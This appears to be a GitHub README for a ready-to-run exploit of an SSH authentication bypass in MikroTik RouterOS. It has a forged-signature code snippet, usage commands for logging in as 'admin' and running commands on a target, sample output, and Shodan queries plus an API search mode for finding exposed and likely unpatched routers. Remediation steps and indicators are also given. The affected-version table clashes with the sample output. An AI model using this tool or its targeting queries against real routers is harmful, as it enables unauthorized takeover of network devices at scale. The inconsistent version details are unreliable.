CVE-2026-67276 - MikroTrik SSH Authentication Bypass Exploit

MikroTik RouterOS SSH Public Key Authentication Bypass - No Private Key Required

A proof-of-concept exploit for CVE-2026-67276 (MikroTrick), a critical authentication bypass vulnerability in MikroTik RouterOS SSH implementation that allows attackers to authenticate as any user without possessing their private key.

Vulnerability Overview
How It Works
Affected Versions
Installation
Usage
Shodan Reconnaissance
Technical Details
Remediation
References
Disclaimer

Vulnerability Overview

The MikroTrick Attack Chain

CVE-2026-67276 is part of a larger attack chain dubbed "MikroTrick" by CERT PL, which was observed being actively exploited in the wild:

How It Works

The Vulnerability

RouterOS SSH authentication has a critical flaw in how it validates public keys:

Key Matching Bug: RouterOS matches the presented SSH public-key blob against authorized keys using only (key type, modulus), completely omitting the exponent
Exponent from Client: Signature verification uses the exponent from the client-supplied blob, not the stored key
Trivial Forgery: Presenting {ssh-rsa, e=1, n=victim_modulus} makes verification trivial

Mathematical Basis

Standard RSA Verification:  sig^65537 mod n == expected  (requires private key)
Exploited Verification:     sig^1 mod n == sig           (NO private key needed!)

With exponent e=1, the signature verification becomes:

sig^1 mod n == sig

This means the "signature" is simply the EMSA-PKCS1-v1_5 encoded message itself - constructible by anyone who knows the victim's public modulus.

Attack Prerequisites

Target username of an account with an authorized RSA key
The RSA public modulus n of that authorized key (from .pub file, previous connections, etc.)
Network access to SSH port

Affected Versions

Branch	Vulnerable Range	Patched Version
6.x	6.0 - 6.49.20	6.49.21+

Installation

# Clone the repository
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# Install dependencies
pip install paramiko cryptography

Usage

Quick Start

# Basic exploit - auto-generates key, detects version
python3 full_exploit.py --host 192.168.88.1 --username admin

# Execute command after authentication
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# Custom port
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

Using Existing Public Key

# If you have the victim's public key file
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# Or provide the modulus directly
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

Version Detection

The exploit automatically detects RouterOS version and checks vulnerability status:

# Force exploit even on non-MikroTik or unknown version
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

All Options

--host              Target RouterOS IP/hostname (required)
--port              SSH port (default: 22)
--username          Target RouterOS username (required)
--pubkey            RSA public key file (auto-generates if not provided)
--modulus-hex       RSA modulus as hex (alternative to --pubkey)
--algos             Signature algorithms (default: ssh-rsa,rsa-sha2-256)
--exec              Command to execute post-authentication
--exp-enc           Exponent encoding: canonical (1 byte) or aligned (3 bytes)
--timeout           Connection timeout (default: 15.0 seconds)
--skip-version-check    Skip RouterOS version verification
--shodan-dorks      Print Shodan search queries
--shodan-search     Search Shodan API for targets
--shodan-key        Shodan API key
--shodan-query      Custom Shodan query
--shodan-limit      Shodan results limit (default: 100)

Shodan Reconnaissance

Print Dorks

python3 full_exploit.py --shodan-dorks

Search Shodan API

# Basic search
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY

# Custom query
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'

Useful Shodan Queries

Technical Details

SSH Public Key Blob Structure

string    "ssh-rsa"
mpint     e (public exponent)  <- Attacker supplies e=1
mpint     n (modulus)          <- Victim's actual modulus

Forged Signature Generation

# The "signature" is simply the EMSA-PKCS1-v1_5 encoded auth data
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # This IS the valid signature when e=1

Wire Format Notes

Blob's inner type string stays ssh-rsa even for rsa-sha2-256/512 algorithms
Signature algorithm goes only in the outer algorithm field
Both canonical (1 byte) and aligned (3 byte) e=1 encodings work on vulnerable versions

Example Output

[*] CVE-2026-67276 MikroTrick Exploit
[*] Target: 192.168.88.1:22

[*] Detecting RouterOS version...
[*] SSH Banner: SSH-2.0-ROSSSH-7.23.3
[*] RouterOS Version: 7.23.3
[+] VERSION VULNERABLE - CVE-2026-67276 applies

[*] Generating 2048-bit RSA keypair...
[+] Private key saved: /path/to/exploit_key
[+] Public key saved:  /path/to/exploit_key.pub
[*] Modulus: 2048-bit | forged e=1
[*] Exponent encoding: canonical (01)

[*] Trying rsa-sha2-256 ...
[+] AUTHENTICATED as 'admin' via rsa-sha2-256
[+] CVE-2026-67276 CONFIRMED - target is vulnerable
--- command output ---
                uptime: 14d23h45m12s
               version: 7.23.3 (stable)
            build-time: Sep/01/2026 12:00:00

Remediation

1. Upgrade Immediately

# Check current version
/system resource print

# Upgrade to patched version
/system package update download
/system reboot

Minimum Safe Versions:

6.x branch: 6.49.21
7.x stable: 7.23.4
7.x testing: 7.24.2

2. Disable SSH if Not Required

/ip service disable ssh

3. Restrict SSH Access

# By IP address
/ip service set ssh address=192.168.88.0/24

# Firewall rule
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
    src-address=!192.168.88.0/24 action=drop

4. Check for Compromise

# Check for suspicious users
/user print

# Check for "ops" user (known attacker indicator)
/user print where name=ops

# Check device flagged status
/system/device-mode/print

# Check logs
/log print where topics~"ssh"

Known IOCs:

Log entries: login failure for user -2 via ssh
Unknown privileged user ops
Device "Flagged" marker
Attacker IPs: 82.192.72.4, 103.102.31.18

References

Disclaimer

⚠️ This tool is provided for authorized security testing and educational purposes only.

Only use against systems you own or have explicit written permission to test
Unauthorized access to computer systems is illegal under CFAA, Computer Misuse Act, and similar laws worldwide
The authors are not responsible for any misuse or damage caused by this tool
By using this tool, you agree to use it responsibly and legally

License

MIT License - See LICENSE for details.

Author

Security Research PoC - CVE-2026-67276 Lab Implementation

Star this repo if you find it useful!

CVE ID	CVE-2026-67276
Severity	Critical (CVSS 9.8)
CWE	CWE-347 (Improper Verification of Cryptographic Signature)
Attack Vector	Network
Authentication	None
Complexity	Low
Impact	Full device compromise

CVE-2026-67276	Auth Bypass	SSH public key auth bypass via exponent forgery
CVE-2026-86060	Privilege Escalation	Argument injection via username
CVE-2026-67279	Auth Bypass	SSH connection without completed userauth
CVE-2026-67277	Info Disclosure	Kernel memory leak via bandwidth-test
CVE-2026-67278	Signature Bypass	X.509 malformed signature acceptance
CVE-2026-67281	File Read	WebFig root file read via jsproxy

All MikroTik	`MikroTik`
MikroTik SSH	`MikroTik port:22`
Winbox Exposed	`port:8291`
WebFig Panel	`http.title:RouterOS`
RouterOS 6.49.x	`MikroTik "6.49"`
RouterOS 7.x	`MikroTik "RouterOS v7"`
By Country	`MikroTik country:US`
Vulnerable Hint	`MikroTik ("6.49" OR "7.23" OR "7.24.0")`

Most Popular

exploit-mikrotik-2026